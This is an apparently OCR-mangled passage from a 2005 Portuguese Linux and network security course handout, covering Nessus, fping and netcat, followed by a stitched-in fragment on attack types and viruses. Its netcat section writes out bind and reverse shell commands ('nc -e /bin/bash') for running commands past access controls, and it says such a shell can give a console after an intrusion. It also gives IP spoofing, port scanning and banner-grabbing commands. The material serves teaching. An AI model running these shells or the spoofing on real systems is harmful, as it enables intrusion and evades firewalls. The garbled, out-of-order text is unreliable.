Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 5: Curso de segurança em linux e redes em geral

7 Recusa de Serviccedilo tem por objetivo impedir que entidades legitimas realizem suas funccedilotildeesTipo DoS e DdoS8 Spoofing IP - Esta eacute uma teacutecnica dita altamente sofisticada onde uma maacutequina eacute autenticada poroutra atraveacutes de Pacotes IP indicando ser uma fonte segura Dado que um computador ldquoXrdquo podemanter uma comunicaccedilatildeo com um outro computador ldquoYrdquo sem a necessidade da constanteverificaccedilatildeo de autenticidade Um hacker pode se disfarccedilar informando para ldquoXrdquo que sua maacutequina eacuteldquoYrdquo Para isto ele deve ser capaz de gerar os nuacutemeros de sequumlecircncia que satildeo usados durante oldquoAperto de matildeosrdquo entre dois servidores uma forma de se obter tais nuacutemeros eacute enviar uma seacuterie desolicitaccedilotildees de conexotildees com ldquoXrdquo e guardar os nuacutemeros gerados Com o tempo o hacker podedescobrir como ele gera estes nuacutemeros Descoberto o processo de geraccedilatildeo dos nuacutemeros ohacker inicia uma conexatildeo informando ser ldquoXrdquo mas como ele natildeo eacute a maacutequina indicada ele age asldquoescurasrdquo Feito a solicitaccedilatildeo ele envia um outro pacote com o nuacutemero de sequumlecircncia e com istofecha a conexatildeo Uma vez fechada a conexatildeo o usuaacuterio passa a trabalhar em um canalunidirecional uma vez que ele natildeo reabriraacute os pacotes de resposta Uma forma de se evitar estetipo de ataque eacute configurar o roteador para que ele natildeo aceite pacotes internet que simulamoriginar-se de um endereccedilo local Outra forma seria a verificaccedilatildeo dos ldquologsrdquo e do arquivo de hostconfiaacuteveis caso haja uma conexatildeo ativa com algum destes hosts mas sem que hajam processosem andamento provavelmente um ataque estaacute em accedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 5 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059 Negaccedilatildeo de Serviccedilo - Este tipo de ataque tem por objetivo deixar um ldquorecursordquo inoperanteldquomomentaneamenterdquo Existem basicamente dois tipos de ataques desta categoria o DoS e oDDoS este segundo se baseia no envio de uma grande quantidade de pacotes para um alvo deforma coordenada a partir de vaacuterias origens Devido a uma fragilidade do TCP (TransmissionControl Protocol) os endereccedilos da origem dos pacotes satildeo normalmente forjados Sendo que ostipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexatildeo e

na limitaccedilatildeo de que um serviccedilo tem que aceitar um nuacutemero de conexotildees por vez Um doscuidados que devem ser tomados quando da configuraccedilatildeo dos equipamentos de rede eacute que elesnatildeo possam ser usados como fontes de ataques bem como contra os ataques propriamente ditosuma das formas de se fazer a segunda parte e retirar os serviccedilos que natildeo estatildeo sendo utilizadosoutra forma eacute realizar uma constante verificaccedilatildeo do traacutefico do site assim sendo quando umaatividade anormal for detectada uma atitude correspondente deve ser adotada como por exemplobloquear um endereccedilo de IPProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 6 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20052) MalwareDesde novembro de 1988 quando Robert Morris lanccedilou seu verme na internet a miacutedia apresentouo coacutedigo malicioso como se fosse um desastre natural o que natildeo deixa de ser uma verdade visto seusefeitos e como as pessoas se comportamOs viacuterus aleacutem de serem desastrosos para a produtividade de uma empresa devido ao seucomportamento epidecircmico ele pode consumir uma sensiacutevel parte da largura de banda de uma rede decomputadoresAtualmente existe mais de 40000 tipos distintos de viacuterus registrados Dos viacuterus conhecidos trecircs sedestacam pelo seu poder destrutivo e pelo seu modo de operaccedilatildeo O viacuterus ldquoMelissardquo desenvolvido porDavid Smith em 1999 causou um dano total de US$ 80 mil O viacuterus I love You causou um dano totalde US$ 10 bilhotildees e desativou mais de 10000 empresas incluindo o Departamento de Defesa NorteAmericano (DOD)Um dos motivos de raacutepida proliferaccedilatildeo do Viacuterus I love you foi causada pelo uso do cataacutelogo deendereccedilos do Microsoft Outlook Express e por explorar a curiosidade do usuaacuterioComo acontece no mundo real a cura para estas pragas estaacute sempre um passo atraacutes do seudesenvolvimento E atualmente os viacuterus deixaram de ser um pequeno incomodo se tornando uma realameaccedila para a comunidade comercial21) Ciclo de Vida do Viacuterus- Nascimento- Lanccedilamento- Proliferaccedilatildeo- Disparo

- Ativaccedilatildeo- Detecccedilatildeo- Eliminaccedilatildeo- Mutaccedilatildeo (volta ao primeiro estaacutegio)Os viacuterus podem utilizar vaacuterios meios de transporte originalmente os disquetes e os arquivosbaixados de BBS eram a principal fonte atualmente os e-mails e as redes promiacutescuas satildeo os dois maioresProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 7 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005grupos de risco de contaminaccedilatildeoAtualmente muitos viacuterus natildeo necessitam que o usuaacuterio executem um arquivo anexado basta abrir oe-mail ou visitar um site que o mesmo eacute automaticamente acionado22) Tipos de ViacuterusOs principais tipos de viacuterus satildeo1 Viacuterus de infecccedilatildeo de arquivos - um dos primeiros tipos de viacuterus Quando arquivosinfectados eram executados o viacuterus era automaticamente executado e se proliferavapara os demais arquivos executaacuteveis existentes no sistema2 Viacuterus do setor de boot - pouco comuns na atualidade foram uma praga no passadoeram carregados antes da execuccedilatildeo do sistema operacional e contaminavam todos osdemais discos inseridos no sistema Atualmente este tipo de viacuterus natildeo causa grandesdanos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes3 Viacuterus de Macro - usam as linguagens de macro dos programas para infectar seusarquivos de dados Satildeo Viacuterus especiacuteficos dos programas e atacam principalmentedocumentos do Microsoft Word e Microsoft Excel4 Virus de Sript - satildeo escritos utilizando-se de programaccedilatildeo script principalmenteVisual Basic Script e Java Script normalmente ativos quando um e-mail eacute aberto ou umsite visitado5 Viacuterus Criptografado - foi o primeiro resultado da guerra entre desenvolvedores deviacuterus e anti-viacuterus como as assinaturas dos viacuterus satildeo normalmente sua forma dedetecccedilatildeo os viacuterus comeccedilaram a cifrar e embaralhar seus coacutedigos todas as vez que satildeoexecutados6 Viacuterus Polimorfico - satildeo viacuterus que possuem um sistema ativo de mutaccedilatildeo que natildeo

somente muda o viacuterus a cada vez que ele replica mas tambeacutem muda a rotina quedecifra Isto cria um viacuterus muito difiacutecil de se detectar Um exemplo de viacuterus destacategoria eacute One Half que criptoacutegrafa progressivamente o seu disco riacutegido tornando-oimpossiacutevel de ser lidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 8 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200523) Outros tipos de Malware1 Cavalos de Troacuteia2 Vermes - satildeo aplicativos designados para se espalharem pelas redes e se replicarem satildeoindependentes de outros programas aos arquivos e geralmente causam danos por causa desua replicaccedilatildeo fora de controle3 Coacutedigo malicioso em Java - esta linguagem normalmente eacute utilizada na Internet na forma deldquoappletsrdquo eu satildeo manipuladas pelo browser A seguranccedila desta linguagem de sua maacutequinavirtual contudo eacute inevitaacutevel que algueacutem usaraacute o Coacutedigo Java para escrever um programamalicioso4 Coacutedigo 